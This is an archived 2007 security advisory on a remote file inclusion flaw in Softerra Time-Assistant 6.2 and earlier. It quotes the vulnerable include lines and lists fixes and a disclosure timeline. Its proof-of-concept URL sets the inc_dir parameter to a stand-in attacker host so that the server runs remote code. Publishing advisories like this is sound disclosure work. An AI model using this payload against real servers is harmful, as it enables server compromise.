[ECHO_ADV_80$2007] Softerra Time-Assistant <= 6.2 (inc_dir) Remote File Inclusion Vulnerability

2007-03-30T00:00:00
ID SECURITYVULNS:DOC:16524
Type securityvulns
Reporter Securityvulns
Modified 2007-03-30T00:00:00

Description


[ECHO_ADV_80$2007] Softerra Time-Assistant <= 6.2 (inc_dir) Remote File Inclusion Vulnerability

Author : M.Hasran Addahroni Date : March, 29th 2007 Location : Australia, Sydney Web : http://advisories.echo.or.id/adv/adv80-K-159-2007.txt Critical Lvl : Dangerous Impact : System access Where : From Remote


Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Time-Assistant
version : <= 6.2 Time-Assistant Standard, Time-Assistant Enterprise, Time-Assistant light Vendor : http://www.time-assistant.com Description :

Time-Assistant - Web based time tracking software for Internet/Intranet featuring employee timesheets and various reports and project management tools that include salary calculation, invoices and expenses, online services and PDA package. Time-Assistant is professional timesheet software for your business. It is a daily time tracking solution designed to reduce the drudgery of recording, analyzing and reporting associated with everyday working routine. With Time-Assistant you can easily manage employee timesheets and expenses, calculate salaries, prepare project estimates, get invoices based on personal or client work rates.


Vulnerability: ~~~~~~~~~~~~~~ - Invalid include function at lib/timesheet.class.php :

----------------lib/timesheet.class.php------------------- ... include ($inc_dir . "database.inc.php"); include ($lib_dir . "sqlstorage.class.php"); include ($lib_dir . "lib.php"); include ($lib_dir . "timesheet.lib.php"); ...


Input passed to the "inc_dir" and "lib_dir" parameter in lib/timesheet.class.php is not properly verified before being used to include files. This can be exploited to include arbitrary files from local or external resources. Successful exploitation requires that "register_globals" is enabled.

Poc/Exploit: ~~~~~~~~~~

http://www.target.com/[Time-Assistant_path]/lib/timesheet.class.php?inc_dir=http://attacker.com/evil?

Solution: ~~~~~~~

  • Edit the source code to ensure that input is properly verified.
  • Turn off register_globals

Notification: ~~~~~~~ - 28-03-2007 bugs found - 28-03-2007 vendor contacted but no response - 29-03-2007 advisory released


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Contact: ~~~~~~

 K-159 || echo|staff || eufrato[at]gmail[dot]com
 Homepage: http://k-159.echo.or.id/

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